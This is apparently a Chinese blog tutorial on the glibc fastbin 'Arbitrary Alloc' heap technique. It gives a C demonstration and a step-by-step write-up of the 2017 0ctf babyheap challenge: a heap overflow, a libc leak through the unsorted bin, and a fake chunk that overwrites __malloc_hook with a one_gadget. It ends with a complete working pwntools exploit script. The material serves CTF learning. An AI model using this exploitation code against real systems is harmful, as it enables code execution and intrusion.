好好说话之Fastbin Attack(4):Arbitrary Alloc

总体来说这个方法并不难,例题2017 0ctf babyheap也不难,如果有仔细看过我的上一篇2015 9447 CTF : Search Engine的讲解,相信这个方法的例题对你来说只是流程更复杂一点,但是泄露libc啊、malloc_hook啊这种关键步骤还是一致的。流程部分我的方法是拿笔纸把每一步的chunk和bin写出来,这样更加集中注意力,但凡哪里存在变化,都可以很快的察觉。很笨的方法,但是很有效!

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

往期回顾:
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

Arbitrary Alloc

Arbitrary Alloc与Alloc to stack基本上是相同的,唯一区别就是fake_chunk不在栈上进行分配。实际上栈中分配只是一种选择,只要能满足目标地址存在合法的size域,我们都可以把chunk分配大任意的可写内存中,比如bss、heap、data、stack等。

通过对整个fastbin attack系列的学习,其实是可以发现一些规律的,这部分的例题大多都需要对chunk反复的释放重启,并且都需要对chunk的size进行检查。并且在通过学习这个系列的过程中会发现,大多数对于堆的EXP很少存在绝对地址,这是因为在比赛的时候题目是放在远程服务器上的,我们自己做题的时候可能会关闭ASLR保护,让整个程序的地址固定,方便查看。但是服务器上不一定会关闭ASLR,所以在EXP上更多是通过泄露某处地址,并利用偏移这种方式来定位,因为基地址随着ASLR进行随机化,但是偏移是不会变的,这是在编译阶段就确定好的,要不然重定向的过程会非常混乱

演示

上面是自己的一些小小的感悟,继续回到Arbitrary Alloc这种方法。我们举一个例子来说明Arbitrary Alloc的利用方式:

  1 /*gcc -g hollk.c -o hollk
  2  *echo 0 > /proc/sys/kernel/randomize_va_space
  3  */
  4 #include<stdio.h>
  5 
  6 int main(){
  7 
  8     long long *chunk1;
  9     long long *chunk_a;
 10 
 11     chunk1 = malloc(0x60);
 12 
 13     free(chunk1);
 14 
 15     *(long long *)chunk1 = 0x7ffff7dd1aed;
 16     malloc(0x60);
 17     chunk_a = malloc(0x60);
 18     return 0;
 19 }

简单的说明一下这个例子,首先定义了两个long long 类型的指针变量chunk1和chunk_a。接着申请了一个size为0x70大小的chunk,并将malloc指针赋给chunk1。接下来将chunk1释放掉。接下来将chunk1的fd位置更改为0x7ffff7dd1aed(以自身实际数据为准)。接下来连续申请两个0x70大小的chunk,第二个chunk的malloc指针覆盖chunk_a

程序的执行流程介绍到这,我们使用gdb在第13行下断点看一下b 13

在这里插入图片描述

可以看到在chunk1地址为:0x555555758000,接下来在第15行下断点b 15

在这里插入图片描述

可以看到,由于chunk1的size为0x70,所以在释放之后理所应当的进入fastbin中,这里需要注意的是chunk1作为fastbin中0x70第一个被释放的块,所以chunk1的fd指向的是NULL。接下来在第16行下断点b 16:

在这里插入图片描述

可以看到虽然修改的是chunk1的内容,但是由于被修改的位置恰好是chunk1的fd位置,所以fastbin就误以为0x7ffff7dd1aed是在chunk1前释放的一个chunk。0x7ffff7dd1aed也就是我们常说的带有malloc_hook的fake_chunk,fake_chunk怎么找,wiki上有一种手工查找的方法,这里就不说明了,感觉wiki上说的挺详细的。接下来介绍的是利用pwndbg自带的指令进行自动化的查找:

首先查看一下当前main_arena的地址,输入命令:

在这里插入图片描述

这里打印出了main_arena的地址:0x7ffff7dd1b20,malloc_hook相对main_arena的偏移为0x10,这个是固定的:

在这里插入图片描述

可以看到malloc_hook的地址为0x7ffff7dd1b10,接下来使用命令:

在这里插入图片描述

输入图片中的命令,一参为想要更改的地址0x7ffff7dd1b10(malloc_hook地址),二参为fake_chunk的size0x70。那么find_fake_fast指令就会自动为我们寻找合适的fake_chunk了

在这里插入图片描述

接下来的两次malloc,第一次会将fastbin中原有释放掉的chunk1重启,第二次malloc就会将带有malloc_hook的fake_chunk作为正常的chunk启用,并且将malloc指针赋给chunk_a。因为malloc_hook地址存在于chunk_a内容部分的地址,所以对chunk_a进行恶意写操作的话,也会写到malloc_hook中,从而控制hook流程

例题:2017 0ctf babyheap

检查保护

在这里插入图片描述

可以看到64位程序,保护全开淦! 。其实在学完这道题之前,我对这种保护全开的题是倍感恐惧的,但是实际上并没有那么可怕,PIE开启用偏移就好了

静态分析

main()函数

在这里插入图片描述

从main()函数来看老套路了,堆管理器。首先看一下main()函数的执行流程:首先创建了一个指针变量head,接下来调用了init_my()函数,返回值是一个指针,把这个指针赋给head,init_my()函数接下来说明。接下来就进入循环接收了,调用menu()函数,这其实是一个友好提示,可以对照着右面的menu()函数内容进行讲解接下来的程序执行流程。当输入为1时调用allocate()函数创建chunk,当输入为2时调用fill()函数向已创建的chunk中填充内容,当输入为3时释放已创建的chunk,当输入为4时打印chunk内容。在这中间还有一个read_num()函数,这个函数就不展开来讲了,是一个接收数字的函数

init_my()函数

init_my()函数的返回值是一个指针,无参数传入:

在这里插入图片描述

简单的讲解一下这个函数,前面定义的变量和初始化就不说了,可以看到使用了alarm()函数,这是一个闹钟函数,计时用的超过了60秒就会终止程序,如果你手速够快,或者分步构建EXP的话可以忽略这个函数,但是如果不想在调试过程中受到影响,可以对文件进行patch修补,可参考这篇。接下来使用open()函数调用/dev/urandom生成一个随机数,判断随机数是否合法并写入buf变量中。

接下来的部分就有点头秃了,buf变量中的随机数值经过一系列看不懂的计算之后,改头换面以一个地址的方式赋给了addr指针变量。这里其实并不需要看懂😂,经过了加减移位的操作之后得到的结果依然还是一个数,既然buf中的数值是随机的,那么就可以推断这个addr也会是一个随机地址。接下来的v3变量也没看明白是怎么计算的,但是会可以参考一下return返回值,v3变量是作为addr的一个下标来使用的,所以也不太需要太过在意v3是啥,知道是个下标就行了。有这么两个不确定的v3下标和addr随机地址,一开始我是拒绝 很慌的,但是继续往下看,使用了mmap()函数以addr起始申请了一块0x1000大小的内存。这就美滋滋了,我们在gdb中是可以看到mmap申请的内存区域的!后面动态调试及分析部分演示

这个init_my()函数虽然有两处没有搞清楚,但是并不影响做题,返回的指针可以在mmap()申请的0x1000内存中找到

allocate()函数

allocate()函数无返回值,传参为init_my()函数返回的随机地址

在这里插入图片描述

简单的解读一下这个函数的执行流程。首先进入循环,循环次数为16次,在这里可以推断能够申请的chunk数量最多为16个,后续i作为下标使用,所以在静态分析阶段可得出chunk的id从0开始。首先判断随机地址i下标中的标志位是否为1,如果为0则继续。输出友情提示输入size,接下来调用read_num()函数读输入的数据,并赋给v2变量。接下来判断输入的数值v2的范围:输入的数值要满足0 < size <= 4096。接下来调用calloc()函数申请一个size大小的chunk,对于calloc()相关信息在图片中展示了,需要注意的是calloc()函数申请的chunk的内容区域全部为\x00。接下来判断chunk是否创建成功。

在这里插入图片描述

再接下来的程序执行流程是这样的,看上图左半部分是程序流程原有的样子,是通过偏移的方式在i下标随机地址的第一个DWORD处放置1,第二个是在偏移为8的位置放置size,接下来在偏移为16的位置放置calloc指针。所以此处其实是在构建结构体,右边蓝色部分其实是ctf-wiki题包中自带的idb文件,我这看着方便就一直用来着。结构体形式如下:

在这里插入图片描述

当申请的chunk处于使用状态时,inuse标志位为1,为释放状态时,inuse标志位为0

根据功能的分析结合程序运行状态,做出自动化交互代码:

在这里插入图片描述

fill()函数

在这里插入图片描述

简单的介绍一下这个函数的流程:首先提示输入chunk的id好,调用read_num()函数进行接收并赋给变量result。接下来在进行一次赋值给v2变量待用。接下来是一个判断输入的id号是否在0~15(在allocate函数中提过id从0开始,最多创建16个),如果存在则获取该chunk的inuse标志位,如果inuse = 1,即该chunk为使用状态,则提示输入size。再次调用read_num()函数接收size,并赋给result变量,重新赋值给v3变量待用。接下来判断输入size是否大于0,如果大于则提示输入内容,并调用read_content()函数向该chunk结构体的第三成员变量所指向的chunk的内容部分写size大小的数据(这一句话太长了。。。)

接下来我们看一下这个read_content()函数,上面这个很长的句子其实隐含了一个漏洞(这波你在第几层?)。我们看右面蓝色部分的read_content()内部。还是介绍一下read_content()函数的执行流程:传进read_content()函数的一参为chunk的calloc指针,二参为输入的内容size。首先判断size是否合法,接下来使v3变量为0。然后进入循环,循环条件为size大于0,并且v3变量起始值为0,所以可以循环size次,接下来向chunk中不断写内容。

这里需要注意的是在allocate()函数中,创建的chunk的size是根据输入的数值定的,在read_content()函数中写的字节数也是由输入的size确定的,但是两次输入的size没有经过任何的比较判断,如果写操作中的size大于chunk的size,那么就造成了堆溢出的情况

根据功能的分析结合程序运行状态,做出自动化交互代码:

在这里插入图片描述

free_chunk()函数

在这里插入图片描述

free_chunk()函数主要功能就是释放已创建的chunk,简单的说一下这个函数的执行流程吧,首先提示输入chunk的id,接下来调用read_num()函数接收数字并赋给result变量,再一次赋给v2变量备用。接下来就适合和fill()函数一样的检查了,这里不再多说。接下来的释放过程,首先将结构体中的inuse成员变量从’1’变为’0’,所以如果结构体的inuse位为0,则代表该chunk是处于释放状态的,接下来的释放就中规中矩了,释放之后也将指针置空了,所以这里并没有出现什么漏洞

在这里插入图片描述

dump()函数

在这里插入图片描述

dump()函数执行的是打印功能,前半段和前面的两个函数一样,只不过打印的时候使用的是write()函数打印size个字节,这里也没有什么问题。但是如果你做题做的多的话,一旦发现题目中有打印功能,那么第一反应就是可不可以利用这个打印功能进行泄露某个特别之处的地址,这个点一定要敏锐。

根据功能的分析结合程序运行状态,做出自动化交互代码:

在这里插入图片描述

思路分析及动态调试

如何找到结构体位置

由于结构体所在的内存区域由mmap分配,所以我们使用gdb打开程序,并且创建一个size为8的chunk。Ctrl + c回到调试界面,我们使用vmmap命令查看一下:

在这里插入图片描述

可以看到白色框中的范围就是mmap创建的内存空间。这里来说明一下为什么确定就是在这,首先我们在静态分析阶段已经得出,mmap创建的内存区域的起始地址是近乎随机产生的,所以白框内的起始地址为乱序状态。第二,由于结构体是根据用户交互随时向这段内存中写的,所以这段内存空间一定是存在写权限的,我们也可以在白框中看到确实具有写权限。

接下来我们就需要去这段内存中看一下具体结构体的位置。因为mmap()函数创建的范围为0x1000,所以我们使用命令x/1000gx 0x399a51d5f000查看一下(0x399a51d5f000会不断变化),因为结构体的起始位置也不确定,所以往下翻一翻吧

在这里插入图片描述

可以在中下的位置找到结构体,可以看到此时创建的chunk属于使用状态,所以inuse成员变量的值为1,第二个成员变量为我们刚才输入的size,第三个成员变量就应该是内容块data_chunk了

泄露unsortbin_addr地址(拉chunk5下水)

这道题和我们上一篇做的题思路差不多,由于题目在远程会开启ASLR保护,所以我们需要泄露出一个关键地址。这里还是选用main_arena地址作为关键地址,剩下的其他关键点都通过main_arena作为基地址,利用偏移得出。

我们逆向思维去想这个事,如果想要得到main_arena,那么可以考虑从unsortbin下手,因为不与top_chunk相邻的第一个被释放进unsortbin的chunk,该chunk的fd位置会指向unsortbin_addr(后记为unsortbin_chunk),而unsortbin_addrmain_arena之间的偏移是固定的。那么接下来如果我们构建好这个unsortbin_chunk,只需要利用程序中的dump()函数打印unsortbin_chunk就可以泄露出unsortbin_addr地址了

但是这里需要思考的是,我们以往的这种打印被释放chunk的方式都是利用double free这种技巧的,可是这道题并没有double free的漏洞。其实我们完全可以通过堆溢出达到这种效果:

在这里插入图片描述

首先我们创建5个chunk,前四个chunk的size我们设定为0x20大小,第五个chunk设置为0x90。这样设置的目的是我们通过释放chunk3和chunk2进入fastbin当中,这样一来fastbin当中的情况就会变为chunk2_fd --> chunk3_fd --> NULL。在fastbin中部署好后我们就可以通过fill()函数溢出chunk1,覆盖chunk2_fd的地址,使其指向chunk5。因为chunk5的size为0x90,所以在释放chunk5后其fd指针将会指向unsortbin_addr。这样一来chunk5就会因为chunk2_fd被溢出而拉下水😂

实现代码:

allocate(0x10) 
allocate(0x10) 
allocate(0x10) 
allocate(0x10)  
allocate(0x80)

接下来按照上面的思路,首先释放chunk3,再释放chunk2,那么fastbin 中的状况就会是如下状态:

在这里插入图片描述
实现代码:

free(2)
free(1)

那么接下来我们就需要向chunk1中写数据了,这里构造一个可以溢出,并更改chunk2_fd的payload。这里需要思考的是我们其实并不需要一定将chunk2_fd8个字节完全覆盖,只更改chunk2_fd的最后一个字节就可以了,所以构造payload_for_chunk1如下:

payload_for_chunk1 = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)

其中0x10 * 'a'填满chunk1的内容区域,接下来的为了不影响chunk2的prev_size,所以使用p64(0)进行占位,为了不影响chunk2的size,所以使用p64(0x21)占位,在接下来采用p8(0x80)就可以覆盖原有chunk2_fd的最后一个字节,使其指向0x5555575b080,即chunk5的chunk指针:

在这里插入图片描述
实现代码:

payload_for_chunk1 = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)

可以看到覆盖后fastbin中就变成了chunk2 --> chunk5。那么接下来如果我们想要对chunk5进行操作的话,就需要重启fastbin中chunk2指向的chunk5,但是由于chunk5的size是0x90而不是0x20,所以即使chunk5的chunk指针在fastbin的0x20单项链表中我们也是无法启用的。所以我们还需要通过向chunk4中写溢出数据,使其覆盖chunk5的size为0x20,我们才能够重新启用chunk5。所以构造payload_for_chunk4如下:

payload_for_chunk4 = 0x10 * 'a' + p64(0) + p64(0x21)

其中0x10 * 'a'填满chunk4的内容部分,接下来的为了不影响chunk5的prev_size,所以使用p64(0)进行占位,接下来使用p64(0x21)覆盖chunk5的size部分

在这里插入图片描述
实现代码:

payload_for_chunk4 = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)

接下来我们只需要重新申请两个0x20大小的chunk,第一次申请0x20会重新启用fastbin中0x20单项链表尾部的chunk2,第二次申请0x20就会启用fastbin中0x20单向链表剩下的chunk5:

在这里插入图片描述
实现代码:

allocate(0x10) 
allocate(0x10)

到了这一步,我们再来解释一下这个过程,上述做了这么多的准备工作。我们想要的其实就是让id为2的结构体的第三成员变量指向chunk5,因为无论是打印还是填充数据,都是根据结构体第三成员变量找到的chunk。这样一来,我们接下来对id为2的chunk5进行操作,就等同与对id为4的chunk5进行操作

前面说更改chunk5的size是为了重新启用它,但是一开始之所以将chunk5的size定义为0x90,是为了接下来释放chunk5的时候进unsortbin能让chunk5的fd指向unsortbin_addr。所以接下来我们还需要构建payload_for_chunk4对chunk4进行溢出,将chunk5的size改回0x90:

payload_for_chunk4 = 0x10 * 'a' + p64(0) + p64(0x91)

其中0x10 * 'a'填满chunk4的内容部分,接下来的为了不影响chunk5的prev_size,所以使用p64(0)进行占位,接下来使用p64(0x90)覆盖chunk5的size部分:

在这里插入图片描述
实现代码:

payload_for_chunk4 = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)

可以看到经过对chunk4的溢出,chunk5的size重新改为0x90。但此时并不能直接进行去释放chunk5,因为只有不与top_chunk相邻的第一个释放chunk,其fd才会指向unsortbin_addr。chunk5现在是链接top_chunk的,所以我们还需要重新申请一个size为0x90大小的chunk之后再去释放chunk5:

在这里插入图片描述

接下来的操作就比较容易了,由于前面已经在id为2的结构体处部署了chunk5的chunk指针,所以接下来我们只需要调用程序中的dump()函数打印id为2的chunk内容,就可以把chunk5中的unsortbin_addr(fd)打印出来了!!!

实现代码:

allocate(0x80)  
free(4)
dump(2)
hollk.recvuntil('Content: \n')
unsortedbin_addr = u64(hollk.recv(8))

计算libc基地址

在得到unsortbin地址后,接下来的步骤就和上一篇文章一样了。由于unsortbin_addrmain_arena之间的偏移是固定的88,所以:

main_arena = unsortbin_addr - 88

由于main_arena与libc基地址的偏移是固定的0x3c4b20,所以:

libc_base = main_arena - 0x3c4b20

这样一来我们就得到了libc的基地址

启用fake_chunk

在得到libc基地址之后就是进行malloc_hook了,在上一篇文章(补题)2015 9447 CTF : Search Engine中,后段部分也是使用malloc_hook拿shell的,这道题也一样。我们需要在malloc_hook附近寻找一个可用的fake_chunk,这个fake_chunk需要满足两点要:

  • size大小为0x70 - 0x7F之间(有利于用错字节找到fake_chunk)
  • fake_chunk的内容部分必须包含malloc_hook的地址(在填充fake_chunk内容的同时修改malloc_hook)

由于size的原因,我们需要先申请一个size为0x70的chunk7,并将其释放进fastbin的0x70单项链表。这里需要注意的的释放的目标,在泄露unsortbin_addr部分最后,我们释放了id为4的chunk5,从而泄露出unsortbin_addr。那么重新申请size为0x70的chunk7的时候,chunk7会放在id为4的位置,所以申请后再次释放的应该是id4:

在这里插入图片描述

这样一来我们就有承接fake_chunk的chunk7了,此时的chunk7的fd指针指向的是NULL。还记得前半部分在id为2的位置部署的chunk5吗,此时chunk7由于被放在了id为4原来chunk5的位置,chunk7的chunk地址与chunk5的地址指向的是同一个位置,所以对id为2的chunk5进行操作,也就相当于对chunk7进行操作。所以我们只需要向id为2的chunk5中填充fake_chunk的地址,那么chunk7的fd位置就会被覆盖成fake_chunk(fake_chunk查找方法可以看上一篇(补题)2015 9447 CTF : Search Engine文章中的寻找fake_chunk章节,这里由于完全相同,所以不再重复):

在这里插入图片描述

实现代码:

fake_chunk_addr = main_arena - 0x33 
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

可以看到既然fake_chunk已经被挂进fastbin了,所以我们只需要再次申请两个size为0x70大小的chunk。申请第一个0x70的chunk重启chunk7,申请第二个0x70的chunk将fake_chunk作为正常chunk启用:

在这里插入图片描述

实现代码:

allocate(0x60)
allocate(0x60)

找one_gadget!挂钩子!拿shell!

经过上一步的过程,我们现在已经能够控制fake_chunk,接下来要做的事情就是找one_gadget了,使用命令one_gadget libc.so.6:

在这里插入图片描述

可以得到四个one_gadget,不一定哪一个好使,所以需要挨个试一下。我的本地使用第二个gadget:0x4526a是可以执行的。那么的到one_gadget了之后,就可以调用程序本身fill()函数,向id为6的fake_chunk中的malloc_hook地址位置写one_gadget了。那么malloc_hook相对于fake_chunk的内容起始位置的偏移为0x13(上一篇有完整过程),所以构建payload_for_hook及交互代码:

one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)

在这里插入图片描述

这样一来,malloc_hook中就被安置好了,只需要调用程序中的allocate()函数创建任意大小的chunk,就可以触发ong_gadget拿shell!!!

在这里插入图片描述

EXP

 from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./hollk"
babyheap = context.binary
if args['REMOTE']:
    hollk = remote('127.0.0.1', 7777)
else:
    hollk = process("./hollk")
log.info('PID: ' + str(proc.pidof(hollk)[0]))


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


offset_unsortedbin_main_arena = offset_bin_main_arena(0)


def allocate(size):
    hollk.recvuntil('Command: ')
    hollk.sendline('1')
    hollk.recvuntil('Size: ')
    hollk.sendline(str(size))


def fill(idx, size, content):
    hollk.recvuntil('Command: ')
    hollk.sendline('2')
    hollk.recvuntil('Index: ')
    hollk.sendline(str(idx))
    hollk.recvuntil('Size: ')
    hollk.sendline(str(size))
    hollk.recvuntil('Content: ')
    hollk.send(content)


def free(idx):
    hollk.recvuntil('Command: ')
    hollk.sendline('3')
    hollk.recvuntil('Index: ')
    hollk.sendline(str(idx))

def dump(idx):
    hollk.recvuntil('Command: ')
    hollk.sendline('4')
    hollk.recvuntil('Index: ')
    hollk.sendline(str(idx))


def exp():
    allocate(0x10) 
    allocate(0x10) 
    allocate(0x10) 
    allocate(0x10) 
    allocate(0x80)  

    free(2)
    free(1)

    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    fill(0, len(payload), payload)

    payload = 0x10 * 'a' + p64(0) + p64(0x21)
    fill(3, len(payload), payload)

    allocate(0x10) 
    allocate(0x10)  

    payload = 0x10 * 'a' + p64(0) + p64(0x91)
    fill(3, len(payload), payload)

    allocate(0x80)  
    free(4)

    dump(2)
    hollk.recvuntil('Content: \n')
    unsortedbin_addr = u64(hollk.recv(8))
    main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
    log.success('main arena addr: ' + hex(main_arena))
    main_arena_offset = 0x3c4b20
    libc_base = main_arena - main_arena_offset
    log.success('libc base addr: ' + hex(libc_base))

    allocate(0x60)
    free(4)

    fake_chunk_addr = main_arena - 0x33
    fake_chunk = p64(fake_chunk_addr)
    fill(2, len(fake_chunk), fake_chunk)

    allocate(0x60)  
    allocate(0x60) 

    one_gadget_addr = libc_base + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    fill(6, len(payload), payload)

    allocate(0x100)
    hollk.interactive()


if __name__ == "__main__":
    exp()


在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值